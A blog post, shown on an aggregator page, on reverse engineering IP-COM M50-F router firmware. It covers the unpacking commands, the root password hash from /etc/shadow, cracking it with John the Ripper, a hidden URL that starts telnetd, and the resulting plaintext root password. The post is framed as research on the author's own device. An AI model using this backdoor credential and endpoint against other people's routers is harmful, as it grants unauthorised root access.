惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Comments on: Blog
S
Schneier on Security
Microsoft Azure Blog
Microsoft Azure Blog
T
Tor Project blog
V
Visual Studio Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Spread Privacy
Spread Privacy
月光博客
月光博客
罗磊的独立博客
Cisco Talos Blog
Cisco Talos Blog
P
Privacy International News Feed
T
Tenable Blog
阮一峰的网络日志
阮一峰的网络日志
AWS News Blog
AWS News Blog
T
ThreatConnect
博客园 - 三生石上(FineUI控件)
Recorded Future
Recorded Future
Hugging Face - Blog
Hugging Face - Blog
T
Tailwind CSS Blog
博客园 - 叶小钗
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
A
Arctic Wolf
L
LINUX DO - 最新话题
美团技术团队
大猫的无限游戏
大猫的无限游戏
I
Intezer
博客园 - 司徒正美
酷 壳 – CoolShell
酷 壳 – CoolShell
量子位
小众软件
小众软件
T
Threatpost
V
V2EX
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
宝玉的分享
宝玉的分享
The Register - Security
The Register - Security
Project Zero
Project Zero
J
Java Code Geeks
Cyberwarzone
Cyberwarzone
IT之家
IT之家
MyScale Blog
MyScale Blog
T
Threat Research - Cisco Blogs
T
The Blog of Author Tim Ferriss
腾讯CDC
S
SegmentFault 最新的问题
F
Fox-IT International blog
S
Security Archives - TechRepublic
Last Week in AI
Last Week in AI
G
GRAHAM CLULEY
M
MIT News - Artificial intelligence

Kevin's Blog

又一个很久没更新了 - 文章 - Kevin's Blog 评测 - 可能是马来西亚第一个中文Starlink测试 - 文章 很久没更新了 - 文章 - Kevin's Blog 网络安全解析:你家的真的网络安全吗? - 文章 - Kevin's Blog 维修门店的诡计与顾客权益的Battle - 文章 - Kevin's Blog 疑似不易之财?! - 文章 - Kevin's Blog robots.txt是什么,它有什么用处 - 知识点 - Kevin's Blog 大学的生活,我准备好了吗? - 文章 - Kevin's Blog 被Cloudflare ban的惨痛经历 - 文章 - Kevin's Blog
逆向工程之IP-COM M50-F telnet 密码破解 - 逆向工程
2025-10-02 · via Kevin's Blog

01. 背景 & 痛点

家里原来用的是旧款 M50,看到IP-COM发布了新款 M50-F 带 2.5G WAN 口,就从国内经销商入手。
上手后最奇怪的是:WAN VLAN(或 ISP Type)不见了。

  • 官方下载页:

    • 国际版:https://www.ip-com.com.cn/en/download/detail-1234.html
    • 中国版:https://www.ip-com.com.cn/download/detail-1163.html
      说明书里明确写了国际版有 ISP Type(可设 Internet VLAN / IPTV VLAN),但实际 UI 没有。
  • VLAN 菜单只有 LAN 内网 VLAN没有 WAN 的 VLAN

联系客服后被告知:这是工程样机功能可能不完整。随后安排了中国工程师远程桌面操作,在浏览器敲了一个隐藏 debug 入口

http://192.168.0.252/goform/telnet

页面返回 “load telnetd success.”

随后工程师直接登录了账号,用户名是root(线索1),但是密码看不到,因为密码是被隐藏的了,导致我后续想要自己登录进去看看却看不了。

工程师在后台设置了 vendor 相关参数并重启,UI 立刻出现 ISP Type/VLAN

至此我判断:WAN VLAN 是存在的,只是被隐藏开关控制;而工程师使用了某个 root 凭据厂商后门参数 完成了操作。


02. 研究路径:从固件里找证据

目标: 找到认证逻辑、确认 root 密码来源。

2.1 解包思路总览

  1. 从官网把 US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin 下载下来
  2. binwalk -B firmware.bin → 发现 UBI(NAND 用)
  3. dd 切出 UBI 段 → ubireader_display_info / ubireader_extract_images
  4. 得到 rootfs.ubifsbinwalk 显示 SquashFS v4(xz 压缩)
  5. unsquashfs 解出 squashfs-root/ → 浏览 /webroot(_ro)/etc//usr/sbin/

2.2 可复制命令(Linux/WSL)

# 识别固件结构(举例文件名)
binwalk -B 'US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin'

# 按偏移切出 UBI 段(以 binwalk 输出的 offset 为准,这里示例 1048640)
dd if='US_M50-FV1.0si_V16.01.12.24(4117)_CN&EN_C01&E01.bin' of=firmware.ubi bs=1 skip=1048640

# 安装 UBI Reader(pip 版)
pip3 install ubi-reader

# 查看 UBI 卷
ubireader_display_info firmware.ubi

# 提取卷镜像
ubireader_extract_images firmware.ubi

# 在 *.ubifs 上继续识别(确认是否 SquashFS)
binwalk ubifs-root/firmware.ubi/img-*/img-*_vol-rootfs.ubifs

# 提取 SquashFS(xz)
unsquashfs ubifs-root/firmware.ubi/img-*/img-*_vol-rootfs.ubifs

# 进入根文件系统
cd squashfs-root
ls

得到的目录大致如下:

bin  cfg  cfg_bak  etc  etc_ro  usr  sbin  webroot  webroot_ro ...

2.4 定位敏感信息(VSCode 全局搜索)

我把解包后的 squashfs-root/ 导出到电脑,用 VSCode 的全局搜索 做关键信息检索:

- 关键词:root / goform / telnet / telnetd / admin / passwd / shadow / wan4VlanEn / vlan
- 重点目录:webroot(_ro)/、etc(_ro)/、usr/sbin/、bin/、sbin/

在此过程中我定位到了 /etc/shadow,发现如下哈希:

root:$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1:14319::::::

— 这是 MD5‑crypt($1$)+ 盐 的哈希,仅凭字符串无法直接得出明文,需要离线验证。

2.5 离线验证口令(使用 rockyou.txt,已跑出明文)

我按以下步骤进行了 字典攻击

# 准备 hash
echo '$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1' > hash.txt

# 下载常用字典并运行 John
auto_wordlist=/usr/share/wordlists/rockyou.txt
sudo mkdir -p /usr/share/wordlists && cd /usr/share/wordlists
sudo wget -q https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
cd -

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

结果:明文密码为 Fireitup

仅供研究,请勿在未授权设备上尝试。

03. 结语

这次折腾再次印证:同一型号,不同批次/地区固件差异巨大
从“没有 WAN VLAN”到“通过隐藏入口开启 telnet,再到 UI 放出选项”,功能并非缺失,而是被某些开关、厂商参数或认证链路“藏”了起来。

如果你也遇到类似情况,可以沿用我的解包与排查路径;

免责声明 / Disclaimer

  • 本文所有操作均在离线靶场隔离网络环境下完成,且仅针对本人自有或经明确授权的设备;不会、也不应在生产网络、第三方设备或公共基础设施上尝试。
  • 研究目的仅为学习、学术与安全加固,不构成对任何产品的攻击、破坏或规避授权的建议;本文不鼓励也不支持未授权访问。
  • 读者须确保遵守所在地法律法规及厂商条款,任何复现行为的风险与后果由实施者自负。
  • 建议在不影响保固与合规的前提下操作,必要时优先联系官方支持。